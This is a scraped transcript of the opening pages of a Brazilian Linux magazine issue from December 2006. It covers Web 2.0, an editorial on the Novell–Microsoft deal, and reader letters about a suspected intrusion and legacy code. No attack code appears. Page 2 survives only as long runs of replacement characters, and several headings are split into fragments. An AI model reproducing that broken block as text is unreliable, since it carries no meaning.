26 - Web 2.0_dez_2006

84
#26 12/06 R$ 13,90 7,50 9 771806 942009 00026 A REVISTA DO PROFISSIONAL DE TI # 26 Dezembro 2006 WWW.LINUXMAGAZINE.COM.BR CEAGESP & LINUX p.26 Uma união frutífera em prol da economia CEZAR TAURION p.30 O código aberto é mais seguro, apesar dos mitos CURSO LPI p.55 Primeiro fascículo do curso LPI-1 » Ajax: A tecnologia da nova Web p.34 » Wikis na sua empresa: documentação eficiente p.38 » IDE dedicada ao Ajax com o Aptana p.42 WEB 2.0 p.31 VEJA TAMBÉM NESTA EDIÇÃO: » Gerenciamento de pacotes inteligente com o Smart p.52 » Eliminando vírus ao acessar arquivos p.62 » XML fácil com PHP p.75 » Proteja seu fórum contra o spam usando Perl p.70 SEGURANÇA p.66 Seguindo os passos de uma invasão PORT-KNOCKING p.48 Segurança extrema nas portas do servidor CONHEÇA A NOVA WEB, MAIS INTERATIVA, E VEJA COMO DESENVOLVER SEUS PRÓPRIOS APLICATIVOS WEB SOBRE ESSES PRINCÍPIOS exemplar de Assinante venda proibida http://supertuxbr.blogspot.com
  • Upload

    -
  • Category

    Documents

  • view

    276
  • download

    11

description

# 26 Dezembro 2006 » Gerenciamento de pacotes inteligente com o Smart p.52 » Eliminando vírus ao acessar arquivos p.62 » XML fácil com PHP p.75 » Proteja seu fórum contra o spam usando Perl p .70 VEJA TAMBÉM NESTA EDIÇÃO: Seguindo os passos de uma invasão WWW.LINUXMAGAZINE.COM.BR CONHEÇA A NOVA WEB, MAIS INTERATIVA, E VEJA COMO DESENVOLVER SEUS PRÓPRIOS APLICATIVOS WEB SOBRE ESSES PRINCÍPIOS A REVISTA DO PROFISSIONAL DE TI CURSO LPI p.55 Primeiro fascículo do curso LPI-1 00026

Transcript of 26 - Web 2.0_dez_2006

Page 1: 26 - Web 2.0_dez_2006

#26 12/06

R$ 13,90 € 7,50

97

71

80

69

42

00

9

00

02

6

A REVISTA DO PROFISSIONAL DE TI

Linu

x M

agazin

e

# 26 # 26

D

eze

mb

ro 2

006

12/2006

WWW.LINUXMAGAZINE.COM.BR

CEAGESP & LINUX p.26Uma união frutífera em prol da economia

CEZAR TAURION p.30O código aberto é mais seguro, apesar dos mitos

CURSO LPI p.55Primeiro fascículo do curso LPI-1

» Ajax: A tecnologia da nova Web p.34

» Wikis na sua empresa: documentação eficiente p.38

» IDE dedicada ao Ajax com o Aptana p.42

WEB 2.0 p.31

VEJA TAMBÉM NESTA EDIÇÃO:» Gerenciamento de pacotes inteligente com o Smart p.52» Eliminando vírus ao acessar arquivos p.62» XML fácil com PHP p.75» Proteja seu fórum contra o spam usando Perl p.70

SEGURANÇA p.66

Seguindo os passos de uma invasão

PORT-KNOCKING p.48

Segurança extrema nas portas do servidor

WE

B 2.0

A

JAX

WIK

I

AP

TAN

A

FIS

H

P

OR

T–KN

OC

KIN

G

S

MA

RT

LP

I-1

SA

MB

A

P

ER

L

PH

P

CONHEÇA A NOVA WEB, MAIS INTERATIVA, E VEJA COMO DESENVOLVER SEUS PRÓPRIOS APLICATIVOS WEB SOBRE ESSES PRINCÍPIOS

ex

em

pla

r d

e

Ass

inan

teve

nd

a

pro

ibid

a

http://supertuxbr.blogspot.com

Page 2: 26 - Web 2.0_dez_2006

��������������������������

���� �����

���������������� ����

��

��

��

��

��

��

��

��

�������������������������������

�������

������

��

���� ����

�����

��������

�������

������������������������ ������������������������������������

������������������������������������������������������������������������������

������������������������������������������������������������������������������

�������������������������������������������������������������

������������������������������������������������������ ����

������������������������������������������������������ ����

�������������������������������������� ����

�����������

�����������������

������������������������������������������������������������ ���������������������������������������� �������������������������������� ������������������������������������� ������������������������������� ����

�����������������������������������������������������������������������������������������

�������������������������������������������������������������������

������

������

�������

����������

������

�����������������������

�������������������������������������

������

����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

������������������������������������������������������������������

���������������������������������������������������������������������������

��������������������������������������������������������

�������������������

�����������������������������������������������������������������

�����������������������������

���

����

���

����

���

���

����

���

��

����������������������������������������������

��������������������������������������������������

������������������������������������������

����������������������������������������������������

��� �������������

� �� ������ �� ������

� � � � �

�������������� ������������������€ ����� ���������

��������������

�������������������������������������������������

���������������

�������������������������������������������������������

������� � � ������ � ���� �������

���

����

���

����

���

���

����

���

��

��� ����������

� � � � �

���������������������������������������������������

�����������������������������������������������

������������������������������������������������������������

������������������������������������������������

������������

�������������������������������������������������������������������������������������������������������������

���������������������������������������������������������������������������������������������������������

� ����������� �����������������������������������������������������

�������������������������������������������������������

��������������������������������������������������������������

��������������������������������������������������������������

������������������������������������������������������������

������������������������������������������������������������

������� � � ������ � ���� �������

��������� ��������������������������������������������������������������������������������������������������������������

���������������������������������������������������

������������������������������������������������������������

�����������������������������������������������������

��������������������������������������������

�� ��

������������������� ��

�����������������������������������������������

����������������������������������������������������

�������������������������������������������������������������������������������������������������

�������

������� � � ������ � ���� ������

���

����

���

����

���

���

����

���

��

��� �����������

������������������������������������������������

�����������������������������������������

�����������������������������������������������������

������������������������������������������������������

� �� ������ �� ������

� � � � �

�������������� ������������������€ ����� ���������

� ������ �����

����� �����

� ������ �����

������� � � ������ � ���� �������

�������������������������������������������������

�������������������������������������

��������������������������������������������������������

����������������������������������������������������

���������

�����

������������������

���������������������������������������������������������������������������������������������������������������������������������

������� � � ������ � ���� �������

��� ������������

���������������������������������������������������

�������������������������������������������������������

���������������������������������������������������������

��������������������������������������������

€ ����� ���������

����

���������

������������������������������������������������������������������

������� � � ������ � ���� �������

���

����

���

����

���

���

����

���

��

��� �������������

����������������������������������������

���������������������������������������������

����������������������������������������������������������

�������������������������������������������

������������������������������������������

������������������������

�����

�����

���������������������������

��������������� � ���� �������

���

����

���

����

���

���

����

���

��

�������������

������������������������������������������

����������������������������������������������

����������������������������������������������

��������������������������������������������������

���������������������������������������������������������������������������������������������������

�������������������������

���������

�������������������������

��������

��������������������������

��������

����������������������������

���������

������������������������

���������

�����������������������

���������

���������������������������� ���������������������

http://supertuxbr.blogspot.com

Page 3: 26 - Web 2.0_dez_2006

3

Dividir para conquistar

ED

ITOR

IAL

Expediente editorialDiretor Editorial Rafael Peregrino da Silva [email protected] Editorial e Diretor de Arte Luciano Hagge Dias [email protected] Tadeu Carmona [email protected] Pablo Hess [email protected]ção e Revisão Livea Marchiori [email protected] da Capa Luciano Hagge Dias [email protected] de Competência Centro de Competência em Software: Oliver Frommel [email protected] Centro de Competência em Hardware: Mirko Dölle [email protected] Centro de Competência em Redes e Segurança: Achim Leitner [email protected] & Colaboradores Andreas Kneib, Augusto Campos, Avi Alkalay,

Carsten Schnober, Cezar Taurion, Charly Kühnast, Flávio do Carmo Júnior, Florian Osses, Frank Wieduwilt, Klaus Knopper, Kristian Kissling, Lu-ciano Siqueira, Marcel Hilzinger, Michael Schilli, Oliver Frommel, Pablo Dall’Oglio e Zack Brown.

Diretor Comercial Claudio Bazzoli [email protected]úncios: Claudio Bazzoli (Brasil) [email protected] Tel.: +55 (0)11 2161 5400 Fax: +55 (0)11 2161 5410 Osmund Schmidt (Alemanha, Áustria e Suíça) [email protected] Brian Osborn (Outros países) [email protected]: www.linuxnewmedia.com.br [email protected] Internet: www.linuxmagazine.com.br – Brasil www.linux-magazin.de – Alemanha www.linux-magazine.com – Portal Mundial www.linuxmagazine.com.au – Austrália www.linux-magazine.ca – Canadá www.linux-magazine.es – Espanha www.linux-magazine.pl – Polônia www.linux-magazine.co.uk – Reino Unido www.linux-magazin.ro – RomêniaApesar de todos os cuidados possíveis terem sido tomados durante a produção desta revista, a editora não é responsável por eventuais impre-cisões nela contidas ou por conseqüências que advenham de seu uso. A utilização de qualquer material da revista ocorre por conta e risco do leitor.Nenhum material pode ser reproduzido em qual-quer meio, em parte ou no todo, sem permissão expressa da editora. Assume-se que qualquer correspondência recebida, tal como cartas, emails, faxes, fotografias, artigos e desenhos, são forneci-dos para publicação ou licenciamento a terceiros de forma mundial não exclusiva pela Linux New Media do Brasil, a menos que explicitamente indicado.Linux é uma marca registrada de Linus Torvalds.Linux Magazine é publicada mensalmente por:Linux New Media do Brasil Editora Ltda. Av. Fagundes Filho, 134 Conj. 53 – Saúde 04304-010 – São Paulo – SP – Brasil Tel.: +55 (0)11 2161 5400 Fax: +55 (0)11 2161 5410

Direitos Autorais e Marcas Registradas © 2004 - 2006: Linux New Media do Brasil Editora Ltda.Distribuição: DistmagImpressão e Acabamento: ParmaISSN 1806-9428 Impresso no Brasil

em processo de filiaçãoINSTITUTO VERIFICADOR DE CIRCULAÇÃO

Linux Magazine #26 | Dezembro de 2006

Prezado leitor, prezada leitora da Linux Magazine, muita controvérsia está no ar desde que a Novell e a Microsoft anunciaram um acordo em que Redmond, além de se comprometer a fazer uma série de investimentos em projetos de código aberto e em um laboratório de interoperabilida-de com a Novell, “livra” usuários de Suse Linux – e somente de Suse Linux e produtos derivados – de processos relacionados ao uso de pro-priedade intelectual da Microsoft, qualquer que seja esse uso (leia-se: comercial ou não).

Diz a sabedoria popular que “Quem dorme com morcegos acorda de ca-beça para baixo”, ou “Quem dorme com cães acaba com pulgas”. Qualquer que seja o ditado escolhido, o fato é que, a curto prazo, o acordo só beneficia as duas empresas. Para o Linux e o Software Livre, não há nada de realmente novo sob o sol. Ou talvez haja: apenas a iminente mudança de categoria desse tipo de sistema no modo de encarar da Microsoft. No editorial da 4ª edição da Linux Magazine, citamos Gandhi: “Primeiro eles o ignoram. Em segui-da o ridicularizam. Depois o combatem. Então você vence”. Fato positivo: estamos mais próximos de vencer. Fato negativo: haverá baixas. Procuremos minimizá-las.

Há diversas teorias da conspiração envolvendo todo o caso, e não se deve descartá-las. Mas, antes de sair pregando o Apocalipse, cabe uma análise parcimoniosa de quem está ganhando ou perdendo com o acor-do, em um primeiro momento. Com certeza, a Novell está ganhando no curto prazo: negócios que a Microsoft venha a fechar com clientes que queiram usar Linux vão “ganhar um Suse de presente”. No curto prazo, a percepção da existência do Linux no mercado corporativo também deve aumentar, uma vez que a Microsoft agora o tem no “seu” portfólio de produtos. A longo prazo, entretanto, devemos esperar que a gigante de Redmond dispare seu arsenal de patentes contra todos aqueles usuários e desenvolvedores de Linux que não estejam sob o “manto protetor” do acordo com a Novell. A Novell também perde no médio e longo prazos, pois deverá trabalhar para resolver todos os problemas de interoperabili-dade que ocorrerem entre o Linux e o Windows®. E perde já, caso Eblen Morgen, advogado da Free Software Foundation, chegue à conclusão de que o acordo com a Microsoft viola a GPLv2. Os resultados seriam uma catástrofe para a empresa, já que inviabilizariam a inclusão de qualquer programa livre no Suse Linux e em seus derivados.

Quem quer que ganhe ou perca, o fato é que o mundo não é mais o mesmo de antes do acordo. Vozes proféticas entoam o canto da aquisi-ção da Novell pela Microsoft em um futuro não muito distante, o que achamos plenamente plausível. A entrada da Microsoft no mercado Li-nux não poderia ser melhor para a empresa, que, desta forma, possuiria o único Linux “legalizado”, chave para uma nova tentativa de abraçar, estender e extingüir...

Rafael Peregrino da SilvaDiretor Editorial

http://supertuxbr.blogspot.com

Page 4: 26 - Web 2.0_dez_2006

4 http://www.linuxmagazine.com.br

CAPA

A segunda revolução 31

As páginas web modernas se diferenciam fortemente da-

queles velhos conhecidos monstros estáticos. Elas ofere-

cem pontos de encontro sociais no espaço virtual e aplica-

tivos completos via Internet: está nascendo a Web 2.0.

Interatividade instantânea 34

Modificar textos diretamente na página web? Arras-

tar e soltar de minifiguras na própria galeria de fotos?

Com o AJAX, páginas interativas não são problema.

Serviço rápido 38

Para a documentação de um pequeno projeto ou cole-

ta de informações, não é preciso um wiki pesado, com

banco de dados. Basta uma pequena solução, que utili-

za simples arquivos de texto para armazenar conteúdo.

Aptana 42

Usuários do Eclipse podem ficar felizes: com o Ap-

tana, existe uma confortável Gui externa para o de-

senvolvimento da Web 2.0, que é baseada em Eclip-

se e usa as populares bibliotecas Javascript.

ÍND

ICE

http://supertuxbr.blogspot.com

Page 5: 26 - Web 2.0_dez_2006

5

COLUNASAugusto Campos 10Charly Kühnast 12Klaus Knopper 14Zack Brown 16

NOTÍCIASSegurança 18➧ PHP

➧ ClamAV

➧ pam_Idap

➧ Mutt

➧ ImageMagick e GraphicsMagick

➧ PostgreSQL

➧ Wireshark

➧ Drivers aceleradores Nvidia

➧ XIM

➧ Asterisk

➧ Procmail

Geral 20➧ Lançado o Linux Developer Network

➧ Debian e o Software não-Livre

➧ Aniversário e nova versão do BrOffice.org

➧ Presente da Adobe

➧ Shuttleworth ajuda KDE

➧ Lançado o GoboLinux 013

➧ Smartphone com Linux

CORPORATENotícias 22➧ Microsoft e Novell selam acordo

➧ Oracle lança distribuição Linux

➧ Microsoft apóia PHP

➧ Novo ERP livre

➧ Sun libera o código do Java sob GPL

➧ LPI nível 3 lançada no Brasil

Entrevista: CEAGESP 26Coluna: Cezar Taurion 30

ANÁLISEMais fácil que pescaria 46 A Fish shell facilita imensamente o uso do console, com diver-

sas facilidades que nenhuma outra shell jamais usou. Essa é uma grande ajuda para quem ainda tem medo da linha de comando.

TUTORIALQuem bate? 48 Algumas portas de rede em seus servidores devem ficar cons-

tantemente fechadas para evitar que bisbilhoteiros ten-tem abri-las. Com uma batida secreta, a entrada se revela.

Fique esperto! 52 O gerenciador de pacotes é um dos componentes cen-

trais de qualquer sistema Linux. Se seu sistema de ge-renciamento de pacotes não for confiável, ou mes-mo que seja, vale a pena conferir essa alternativa.

LPI nível 1: Aula 1 55 Começando a série de estudos para a certificação LPI nível 1, vere-

mos os tópicos 101 e 102. Os tópicos e objetivos estão organizados conforme o determinado pelo próprio Linux Professional Institute.

SYSADMINProteção dançante 62 A verificação de vírus em tempo real no servidor é uma

solução elegante e eficiente para a proteção de clien-tes Windows®. Conheça algumas ferramentas e técni-cas para antivírus em tempo real com o Samba.

Na trilha do invasor 66 O IDS informa que algo está errado. Você nota que a máquina

está com comportamento inesperado. Vamos descobrir se houve uma invasão, seguir sua rota e descobrir a motivação do invasor.

PROGRAMAÇÃOPérola contra o spam 70 Os spammers não simplesmente enviam emails. Eles ex-

ploram fóruns de discussão e blogs, deixando mensa-gens cheias de links para atrair os mecanismos de bus-ca. Um script Perl consegue limpar a bagunça.

Combinação perfeita 75 A manipulação de arquivos XML é de suma importância no

desenvolvimento de aplicações, seja para o armazenamen-to de arquivos de configuração, de dados reais, ou mesmo para o intercâmbio de informações entre diferentes aplicações. Use as funções SimpleXML do PHP 5 para tratar arquivos XML.

SERVIÇOSEditorial 03Emails 06Linux.local 78Eventos 80Índice de anunciantes 80Preview 82

Linux Magazine #26 | Dezembro de 2006

| ÍNDICELinux Magazine 26

http://supertuxbr.blogspot.com

Page 6: 26 - Web 2.0_dez_2006

6 http://www.linuxmagazine.com.br

✎ Propaganda pró-LinuxSempre gostei de computadores e me considero uma pes-soa abençoada, haja vista a velocidade com que consigo aprender coisas relacionadas com informática e compu-tadores. Não tenho paixão por softwares, pois creio que tudo tem sua utilidade. Sempre utilizei o Windows®, Office, Turbo Pascal, Turbo C++, Winzip, Outlook Ex-press e tantos outros softwares da plataforma Windows. Acho que o Windows tem falhas como qualquer outro software. Não pensem que um programa é perfeito sim-plesmente porque seu código-fonte é aberto. Trabalho com desenvolvimento de software, e sei o que falo. Também não pretendo fazer uma defesa veemente do Windows. Só desejo relatar minha experiência com o Linux e o mundo não-Windows.

Há algum tempo, ganhei de um amigo um CD do Sla-ckware 9.0, com uma espécie de aposta. Se eu conseguisse instalar esse sistema que eu desconhecia, e que meu amigo dizia ser dificílimo de instalar, ganharia cem reais. Com uma rápida pesquisa na Internet, aprendi a criar partições e configurar o Lilo, a placa de vídeo, a placa de som e segui em frente com a instalação.

Depois de perder uma partição pouco importante do Win-dows na primeira tentativa de instalação, repeti o processo e, na segunda vez, consegui particionar o disco e instalar o sistema básico. Na terceira tentativa, fui bem sucedido. Con-figurei o X, a placa de som, fax-modem... Enfim, em pouco mais de um dia fui capaz de fazer funcionar um sistema operacional considerado difícil.

De lá para cá experimentei vários “sabores” de Linux, até que resolvi adotar o Ubuntu por ele se basear no De-

bian. O surpreendente é que isso tudo aconteceu há ape-nas dois meses.

O que estou tentando passar para os leitores é que eles não devem falar mal do Windows, e sim falar bem do Linux, pois assim vamos quebrar a resistência das pessoas a experi-mentar o Linux. Acompanho as notícias do Linux há muito tempo, mas sempre resisti à idéia de instalá-lo devido à ati-tude radical de alguns usuários desse sistema. Só embarquei nessa idéia por causa do “desafio” que meu amigo colocou, além da remuneração, e acabei gostando do sistema, sendo que já uso mais o Ubuntu do que o Windows.

Nos últimos dois meses, tive bastante progresso, mas ainda há muito a aprender.

Lindolfo Silveira KemmerichSão José dos Pinhais, PR

✎ Possível invasãoHoje eu estava usando o meu desktop com o Open Suse 10.1, que está redondinho, quando notei algo estranho: eu havia acabado de copiar 40 GB de arquivos de uma outra máqui-na (com o Open Suse 10.0) que eu uso como servidor FTP. Reparei que o uso da CPU estava alto, e então entrei no Ksys-guard para ver quem a estava ocupando. Para minha surpresa, era o usuário Nobody que estava usando o "find". Quando eu estava pensando em matar o processo, eis que a lista de processos do Ksysguard me mostra o mesmo “nobody” usando o comando “su”.Acredito que fui invadido, mesmo com o firewall ativo, sem nenhum serviço que permita login não local e sem servi-dor algum (é apenas uma estação de trabalho), e isso tudo

sanj

a gj

ener

o –

ww

w.s

xc.h

u

Emails para o editor

Permissão de EscritaSe você tem dúvidas sobre o mundo Linux, críticas ou sugestões que possam ajudar a melhorar a nossa revista, escreva para o seguinte endereço: [email protected]. Devido ao volume de correspondência, é impossível responder a todas as dúvidas sobre aplicativos, configurações e problemas de hardware que chegam à Redação, mas garantimos que elas são lidas e analisadas. As mais interessantes são publicadas nesta seção.

EM

AIL

S

http://supertuxbr.blogspot.com

Page 7: 26 - Web 2.0_dez_2006

www.itautecshop.com.brC O M P R E D I R E T A M E N T E D O F A B R I C A N T E

0800 121 444De 2ª a 6ª, das 8h às 20h. Sábado, das 9h às 18h. Domingo, das 9h às 15h.

PRESENTE EM MAISDE 2.700 CIDADES.

Oferta válida até 7/12/2006 ou enquanto durar o estoque. Celeron, Celeron Inside, Centrino, o logotipo Centrino, Core Inside, Intel, o logotipo Intel, Intel Core, Intel Inside, o logotipo Intel Inside, Intel Viiv, Intel vPro, Itanium, Itanium Inside, Pentium,Pentium Inside, Xeon e Xeon Inside são marcas comerciais ou marcas registradas da Intel Corporation ou de suas subsidiárias nos Estados Unidos ou em outros países. Consulte nossa Central de Atendimento para informações sobre outras condiçõesde financiamento para pessoa física ou jurídica pelo telefone 0800-121-444. A velocidade de comunicação de 56 Kbps depende e pode variar de acordo com o tipo e a qualidade da linha telefônica utilizada. *Garantia balcão de um ano para partes,peças e serviços. Para possibilitar o acesso à internet são necessários uma linha telefônica ou banda larga e um provedor à sua escolha. Preço com impostos inclusos para São Paulo. Frete não incluso. Demais características técnicas e decomercialização estão disponíveis em nosso site e no Televendas. Fica ressalvada eventual retificação da oferta aqui veiculada. Quantidade: 10 unidades. Empresa/produto beneficiado pela Lei de Informática. Foto meramente ilustrativa.

DPZ

Foto

ilu

stra

tiva

.

SEJA LIBRIX NA RUA, SEJA LIBRIX EM CASA,SEJA LIBRIX NO TRABALHO.

Itautec InfoWay MinitorreCódigo da oferta: IN539L

IDEAL PARA ENTRETENIMENTO.

• Processador Intel® Celeron® D 315 (256 KB L2 cache, 2.26 GHz, 533 MHz) • Librix - Distribuição Linux Itautec • 512 MB de memória • Monitor LCD de 17”multimídia • HD 80 GB • Floppy • DVD-RW (gravador de DVD) • Placa de vídeo integrada • Placa de rede 10/100 integrada • Fax/Modem 56 Kbps • Teclado e mouse • 1 ano de garantia balcão*

Agora, além do Librix (Linux da Itautec), a sua empresa podecontar com o melhor e mais estável pacote de hardware e software do mercado, testado e homologado pela Itautec.

Toda a liberdade que você precisa para trabalhar com maismobilidade, usando a internet sem fio, e ainda operar comsoftware livre.

• Monitor LCD de 17”multimídia incluso• Gravador de DVD

R$1.799,90 à vista

ou 10x R$ 179,99 sem jurosConsulte ofertas especiais com garantias diferenciadas.

A solução completa.

É mais segurança, porque a Itautec oferece suporte técnicoespecializado via internet ou pelo telefone, serviços de tuninge configuração e ainda atendimento nacional on site.

Tem alta tecnologia para os aplicativos como editor de textos,planilha eletrônica, editor de imagens e apresentações. É maisfacilidade e maior flexibilidade no seu dia-a-dia. Na hora detrabalhar, não se sinta preso. Seja Librix.

Cyan Magenta Yellow Black

Os: 607550 Form: 204x275 Operador: RobsonAgência: DPZ Cliente: Itautec Mac: Premedia_6Mídia: Anúncio Perfil: Analógico Prova: Chromedot

607550_204x275_U 11/10/06 2:08 PM Page 1

http://supertuxbr.blogspot.com

Page 8: 26 - Web 2.0_dez_2006

8 http://www.linuxmagazine.com.br

atrás de um roteador com todas as portas fechadas! Como alguém poderia ter passado por todo o aparato de segurança do Open Suse 10.1?

E agora, o que devo fazer? Reformatar e instalar tudo de novo? Confesso que estou com a confiança no Suse abalada. Como evitar que isso aconteça de novo, e como monitorar invasões?

TassiniCaro Tassini, como você mesmo mostrou, o aparato de se-

gurança no seu caso é bastante forte. Embora cada um dos mecanismos em uso não garanta a invulnerabilidade (já que o único computador seguro é aquele que está desligado), a presença de todos eles em conjunto ajudaria a afugentar os interessados em invadir máquinas pessoais. Em geral, quem invade esse tipo de máquina não são os experts em fraudes eletrônicas, e sim os adolescentes delinqüentes com excesso de tempo ocioso, apelidados de script kiddies.

O Suse Linux, por ser amigável, realiza muitas tarefas sem perguntar ao usuário, pois seus desenvolvedores organizam o sistema para que o usuário não precise conhecer todas as suas nuances. Não somente o Suse, mas praticamente todas as dis-tribuições Linux utilizam o sistema cron para agendar tarefas repetitivas, como a faxina nos arquivos de registro (logrotate), a limpeza de arquivos temporários, ou a compilação de uma lista de arquivos para buscas mais velozes (slocate).

Buscando entre as tarefas agendadas pelo sistema cron em um sistema Suse 10.0, encontramos o arquivo /etc/cron.daily/suse.de-clean-tmp, que utiliza o comando find para buscar arquivos mais antigos que um determinado limite e apagá-los. Levando em consideração o fato de que a maioria das tarefas executadas sem interação com o usuário costuma ser executada pelo usuário nobody, que não possui o direito a executar login no sistema, podemos ao menos supor que o processo faminto por CPU, no seu caso, seja uma das ta-refas agendadas.

Portanto, sugiro que você mesmo examine os arquivos aloja-dos nos diretórios /etc/cron. em busca de scripts que utilizem o comando find e, se for o caso, elimine esse agendamento do sistema. Uma última ressalva cabe a sua afirmação de que nenhum servidor estava em uso, pois no Linux há diversos processos que, mesmo em máquinas desconectadas da rede, utilizam um servidor. É claro que imaginamos que seu firewall esteja protegendo eficientemente essas eventuais portas abertas por esses serviços, porém consideramos importante esclarecer essa afirmação.

Recomendamos que você acompanhe o relato de uma in-vasão na matéria “Na trilha do invasor”, à página 66 desta edição, como uma forma de identificar intrusões em sua pró-pria máquina. ■

✎ Código legadoNa empresa onde trabalho, atualmente temos um sistema legado que foi desenvolvido em Joiner e utiliza dbf, tudo isso rodando em SCO Unix. Eu gostaria de saber se existe alguma maneira de fazer isso ser executado em Linux. Já utilizamos a distribuição Red Hat para outros sistemas com banco de dados Oracle.

Rogério CarneiroCaro Rogério, bancos de dados que utilizam o formato DBF

podem ser abertos nos principais bancos de dados disponíveis para Linux, como MySQL e PostgreSQL, por exemplo. A di-

ficuldade maior, nesse caso, é o aplicativo desenvolvido em Joi-ner, uma linguagem baseada em xBase, assim como o Clipper. Existe um produto comercial que possibilita a compilação de código xBase multiplataforma, incluindo o Linux. Esse soft-ware é o Flagship, produzido pela alemã Multisoft. Na página do produto, www.fship.com, você encontra informações sobre a versão de avaliação (gratuita por 30 dias), e também sobre todas as outras versões do Flagship.

Está em andamento também o desenvolvimento de um com-pilador Clipper e xBase gratuito e de código aberto, chamado CLIP. Sua página (http://www.itk.ru/english/index.shtml) contém documentação em inglês e russo. A última versão do software é bastante recente, tendo sido liberada no último dia 1 de novembro. Infelizmente, não há informações sobre o uso de código Joiner nesse compilador. ■

✎ Bibliotecas CEstou aprendendo a programar na linguagem C com o uso do GCC. Porém, estou enfrentando problemas com bibliote-cas. Como posso descobrir quais bibliotecas contêm a função para o código que quero usar? Já procurei a resposta a essa pergunta nas edições anteriores da Linux Magazine, porém não encontrei nada.

TonyCaro Tony, infelizmente não existe uma resposta simples

à sua pergunta, pois não há qualquer convenção que atrele o arquivo de cabeçalho ao nome da biblioteca. O cabeçalho math.h, por exemplo, utiliza uma biblioteca chamada sim-plesmente m. Seria interessante para os desenvolvedores que a documentação das bibliotecas mencionasse essa conexão, ou, no mínimo, que ela fosse citada no arquivo de cabeçalho como um comentário, por exemplo.

Existe uma instrução #pragma que os cabeçalhos podem utilizar para indicar a biblioteca associada, mas ela é espe-cífica para cada compilador, e não tem suporte por parte do GCC. Portanto, isso é determinado de forma individual em cada caso. Sinto muito. ■

✎ Resolução das imagensPrimeiramente, quero dizer que aprecio muito a Linux Ma-gazine. Sou leitor assíduo da versão impressa. Porém, eu gos-taria de informá-los que a resolução das figuras contidas nos PDFs disponibilizados não é nada boa. Especificamente os screenshots são ilegíveis. Acho isso uma pena, pois esse tipo de problema é fácil de resolver.

Pedro Andrade, São Paulo, SPCaro Pedro, muito obrigado pelo elogio. A questão com as

figuras em arquivos PDF é o tamanho final do arquivo. O uso de maiores resoluções leva a um aumento também no tamanho do arquivo. Se aumentássemos a resolução das figuras incluídas nos PDFs on-line, dificultaríamos o acesso por parte de nossos leitores, especialmente aqueles que utilizam conexão discada, o que não é, de forma alguma, desejável.

Já experimentamos diferentes configurações dos programas que geram esses arquivos, na tentativa de otimizar a qualida-de das imagens, mantendo o menor tamanho possível para os documentos, e utilizamos a combinação que julgamos ser a mais adequada. Contudo, podemos perfeitamente continuar testando outras combinações, lembrando que o objetivo sempre será obtermos o equilíbrio entre qualidade e tamanho. ■

EMAILS | [email protected]

http://supertuxbr.blogspot.com

Page 9: 26 - Web 2.0_dez_2006

http://supertuxbr.blogspot.com

Page 10: 26 - Web 2.0_dez_2006

10

CO

LUN

A

http://www.linuxmagazine.com.br

A Web 2.0 é um prolongamento natural dos conceitos que o Código Aberto ajudou a popularizar, e interessa profundamente a todos os que têm no sangue (e na

carreira) a administração de redes e de sistemas. Por ser um conceito muito amplo e difuso, e ter se popularizado muito rapidamente, muitas vezes o “fenômeno” Web 2.0 é associado à bolha .com, efeito de mercado que explodiu no final da década de 1990, levando consigo os sonhos e os investimentos de muita gente.

Do ponto de vista do mercado, é cedo para dizer se es-tamos vendo o auge de outra bolha ou não, mas isso é um tema para outras revistas e colunistas. Quero aproveitar o tema desta edição para expor minha opinião sobre por que a Web 2.0 é importante não apenas para usuários, marque-teiros e desenvolvedores, mas também para os administra-dores de sistemas e especialmente para a comunidade livre – apesar de todo o preconceito e precaução naturais pela excessiva ênfase associada aos serviços da Web 2.0.

Em primeiro lugar, vamos considerar os aspectos mais “políticos” da questão. A Web 2.0 tende a incluir muito mais abertura quanto ao uso dos serviços e conteúdos, reduzindo em muito a tendência de serviços on-line anteriores que procuravam ao máximo gerar dependência e barreiras de saída aos seus usuários. Para ficar apenas em um exemplo, basta perceber a facilidade com que se pode exportar dados da sua conta de serviços do Google, um dos campeões da Web 2.0: em praticamente todos os locais em que isso faz sentido, há opções para exportar as suas bases de dados em um formato “transparente” (tipicamente CSV), facilitando a vida inclusive de quem quer abandonar o serviço, mas levar

consigo os seus dados. Cansou do Google Groups? Exporte a base de dados de assinantes do seu grupo e leve-a para um novo provedor de sua preferência. Desistiu do Google Reader? Exporte a lista dos feeds RSS que você assina, em formato OPML, e importe-a em um novo leitor que você escolher. E assim por diante.

Outro aspecto político importante é a forma de fatura-mento: são raros os serviços bem-sucedidos da Web 2.0 que cobram alguma coisa do seu usuário final. Você usa Wiki-pédia, Flickr, Gmail, vários editores de texto e de planilhas on-line, YouTube, Technorati e outros serviços populares sem desembolsar um centavo, e ainda assim os seus mante-nedores conseguem faturar graças a uma série de modelos de negócio adaptados a essa nova realidade – embora nem todos eles sejam lucrativos. Por não faturar diretamente a partir do bolso do usuário, as barreiras para a colaboração entre serviços diferentes se reduzem ainda mais.

Para completar, existe a questão da aderência a pa-drões abertos. Muito da tecnologia por trás da Web 2.0 é implementada de forma a aderir a padrões abertos, em geral disponíveis em sistemas livres nas diversas camadas do modelo, como o Apache, MySQL, PostgreSQL, Firefox e muitos outros. Padrões que parecem uma sopa de letri-nhas, como SOAP, ECMAScript, XML e RSS, por serem abertos, trazem para o desktop livre as versões atualizadas de muitas aplicações que anteriormente costumavam estar disponíveis apenas para o ambiente proprietário.

E por que isso é importante para nós, administradores de sistemas? Simples: a Web 2.0 está deslocando de volta para o servidor o “cérebro” dos aplicativos, que ao longo das últimas duas décadas estava indo cada vez mais na direção da CPU do usuário final. E para administrar a carga e o nível de disponibilidade desses serviços emi-nentemente centralizados, voltam a ser cada vez mais necessários os talentos profissionais de administradores competentes e preparados.

E a turma do Software Livre leva vantagem: é até dispen-sável falar da hegemonia do Apache nesses serviços, mas você sabia que o MySQL é adotado por nomes famosos da Web 2.0, como YouTube, Flickr, Technorati, FeedBurner, Wikipédia, Digg, LiveJournal e del.icio.us? Pense nisso antes de criticar a Web 2.0 novamente. ;-) ■

Por que a Web 2.0 interessa ao administrador de redes?

Augusto CamposIndo além da moda para ver o que está por baixo do capô.

A Web 2.0 está deslocando de volta para o servidor o “cérebro” dos aplicativos, que ao longo das últimas duas décadas estava indo cada vez mais na direção da CPU do usuário final.

O autorAugusto César Campos é administra-dor de TI e, desde 1996, mantém o site BR-linux.org, que cobre a cena do Soft-ware Livre no Brasil e no mundo.

http://supertuxbr.blogspot.com

Page 11: 26 - Web 2.0_dez_2006

http://supertuxbr.blogspot.com

Page 12: 26 - Web 2.0_dez_2006

12

CO

LUN

A

http://www.linuxmagazine.com.br

